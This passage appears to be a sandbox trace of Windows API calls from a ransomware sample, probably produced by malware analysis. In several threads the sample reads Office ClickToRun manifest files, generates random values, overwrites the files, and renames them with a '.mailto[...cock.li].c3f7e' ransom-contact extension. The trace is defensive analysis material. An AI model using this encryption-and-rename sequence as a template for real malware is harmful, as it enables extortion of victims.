	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xd3653079
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xecb5fe4
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x1a2f18d2
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x2a0c7500
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xd60c9393
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xa30c3266
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x56b8d7f8
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xa04a74f0
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x169ba2d3
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x208a397b
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x2fc703b9
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xd4ab8e61
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x2a57894f
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x8b947a52
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x3e581eb3
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xf5683993
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x9a2a734b
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xae8f7de0
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x8d46a5e7
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x74fb5c82
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x3cd37df8
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x51870b87
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x460ef3ce
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x8b4a879
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xc0eef6b
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x5515038c
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x554a7d4b
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0xf12c9bac
	[0088.791] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x94e0db0f
	[0088.792] RtlRandom (in: Seed=0x2c13fc20 | out: Seed=0x2c13fc20) returned 0x67e1ab4
	[0088.800] ReadFile (in: hFile=0x1bd4, lpBuffer=0x503e840, nNumberOfBytesToRead=0x3f14, lpNumberOfBytesRead=0x2c13fc10, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2c13fc10*=0x3f14, lpOverlapped=0x0) returned 1
	[0088.801] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.801] WriteFile (in: hFile=0x1bd4, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0x3f14, lpNumberOfBytesWritten=0x2c13fc0c, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x2c13fc0c*=0x3f14, lpOverlapped=0x0) returned 1
	[0088.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0088.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0088.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x65) returned 0x47ecea0
	[0088.802] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.802] WriteFile (in: hFile=0x1bd4, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x2c13fc74, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2c13fc74*=0x149, lpOverlapped=0x0) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec8f0) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e20) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0088.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e928
	[0088.804] wcscpy (in: _Dest=0x481e928, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml"
	[0088.804] wcscat (in: _Dest=0x481e928, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.804] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c13fc2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.804] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14c) returned 0x498ed90
	[0088.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0088.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.809] NtQueryInformationFile (in: FileHandle=0x1bd4, IoStatusBlock=0x2c13fc38, FileInformation=0x2c13fc10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c13fc38, FileInformation=0x2c13fc10) returned 0x0
	[0088.809] NtSetInformationFile (FileHandle=0x1bd4, IoStatusBlock=0x2c13fc38, FileInformation=0x2c13fc10, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.810] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e928) returned 1
	[0088.810] FlushFileBuffers (hFile=0x1bd4) returned 1
	[0093.259] CloseHandle (hObject=0x1bd4) 

Thread:
	id = 1274
	os_tid = 0x2024

	[0088.812] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 0x20
	[0088.812] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0088.812] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd8
	[0088.812] GetFileSizeEx (in: hFile=0x1bd8, lpFileSize=0x2c1bfee0 | out: lpFileSize=0x2c1bfee0*=9818) returned 1
	[0088.813] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x2656, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.813] ReadFile (in: hFile=0x1bd8, lpBuffer=0x2c1bfe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c1bfe60, lpOverlapped=0x0 | out: lpBuffer=0x2c1bfe64*, lpNumberOfBytesRead=0x2c1bfe60*=0x4, lpOverlapped=0x0) returned 1
	[0088.814] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d30
	[0088.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.814] NtQuerySystemTime (in: CurrentTime=0x2c1bfe40 | out: CurrentTime=0x2c1bfe40*=132251868155537952) returned 0x0
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x3b3a5a57
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x27cb2cfd
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xb5ebeada
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xe31384b3
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xf55add9f
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xc86fc249
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x7ac4c2cc
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x798a7c43
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x446bdbfd
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x42c53dc1
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x9e530b74
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x84656df7
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xac9efedd
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x59b6d98b
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x2df91ada
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xa1b30a63
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xa3ed167
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x8396da4a
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x8002e963
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xedcbcbd5
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xa4fcb5cf
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xda1591dc
	[0088.814] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x652685bc
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xdf6c9605
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xafa3bc6f
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x309d75ca
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x7cdb6989
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xe214a4c
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x77858b4b
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xf640963d
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0xaa3eb16a
	[0088.815] RtlRandom (in: Seed=0x2c1bfe4c | out: Seed=0x2c1bfe4c) returned 0x7b1c1370
	[0088.823] ReadFile (in: hFile=0x1bd8, lpBuffer=0x503e840, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x2c1bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2c1bfe3c*=0x265a, lpOverlapped=0x0) returned 1
	[0088.824] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.824] WriteFile (in: hFile=0x1bd8, lpBuffer=0x47cf020*, nNumberOfBytesToWrite=0x265a, lpNumberOfBytesWritten=0x2c1bfe38, lpOverlapped=0x0 | out: lpBuffer=0x47cf020*, lpNumberOfBytesWritten=0x2c1bfe38*=0x265a, lpOverlapped=0x0) returned 1
	[0088.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0088.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e70) returned 1
	[0088.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf020) returned 1
	[0088.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82b80) returned 1
	[0088.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0088.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x53) returned 0x2d77ae0
	[0088.826] SetFilePointerEx (in: hFile=0x1bd8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.826] WriteFile (in: hFile=0x1bd8, lpBuffer=0x481ed00*, nNumberOfBytesToWrite=0x137, lpNumberOfBytesWritten=0x2c1bfea0, lpOverlapped=0x0 | out: lpBuffer=0x481ed00*, lpNumberOfBytesWritten=0x2c1bfea0*=0x137, lpOverlapped=0x0) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77cc0) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ae0) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d30) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0088.827] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ce0) returned 1
	[0088.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x2e02570
	[0088.827] wcscpy (in: _Dest=0x2e02570, _Source="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml"
	[0088.827] wcscat (in: _Dest=0x2e02570, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.827] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2c1bfe58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x498ed90
	[0088.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0088.830] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0088.830] NtQueryInformationFile (in: FileHandle=0x1bd8, IoStatusBlock=0x2c1bfe64, FileInformation=0x2c1bfe3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c1bfe64, FileInformation=0x2c1bfe3c) returned 0x0
	[0088.830] NtSetInformationFile (FileHandle=0x1bd8, IoStatusBlock=0x2c1bfe64, FileInformation=0x2c1bfe3c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.831] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.831] FlushFileBuffers (hFile=0x1bd8) returned 1
	[0093.260] CloseHandle (hObject=0x1bd8) 

Thread:
	id = 1275
	os_tid = 0x2028

	[0088.823] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 0x20
	[0088.829] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0088.829] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bdc
	[0088.829] GetFileSizeEx (in: hFile=0x1bdc, lpFileSize=0x2c23fd24 | out: lpFileSize=0x2c23fd24*=236956) returned 1
	[0088.829] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x39d98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.829] ReadFile (in: hFile=0x1bdc, lpBuffer=0x2c23fca8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c23fca4, lpOverlapped=0x0 | out: lpBuffer=0x2c23fca8*, lpNumberOfBytesRead=0x2c23fca4*=0x4, lpOverlapped=0x0) returned 1
	[0088.832] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e70
	[0088.832] NtQuerySystemTime (in: CurrentTime=0x2c23fc84 | out: CurrentTime=0x2c23fc84*=132251868155694294) returned 0x0
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xf5f5ecc6
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xb6a5ecd7
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xb5c876b9
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x9082bd64
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x3d6e4105
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x896f8280
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x546947db
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xda88cc14
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x226b384f
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xe96af5ff
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xfd2523e4
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xa358adc9
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xb42ff5a9
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x78ecdc32
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xc5270af1
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x3a14c83
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x45a3ad53
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xb23ba967
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x1731b1e6
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x730d4f22
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xa66225db
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x80bd9371
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xa65efe17
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x19c99d2d
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x3c2d5a48
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x1672c892
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xe6bd18b6
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x2f232742
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0xa6903366
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x459514d2
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x43432c93
	[0088.832] RtlRandom (in: Seed=0x2c23fc90 | out: Seed=0x2c23fc90) returned 0x44cad5aa
	[0088.851] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.851] ReadFile (in: hFile=0x1bdc, lpBuffer=0x503e840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2c23fc64, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2c23fc64*=0xc800, lpOverlapped=0x0) returned 1
	[0088.852] SetFilePointerEx (in: hFile=0x1bdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.852] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ee8
	[0088.852] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0088.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x47cf020
	[0088.853] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0088.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47dd0
	[0088.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
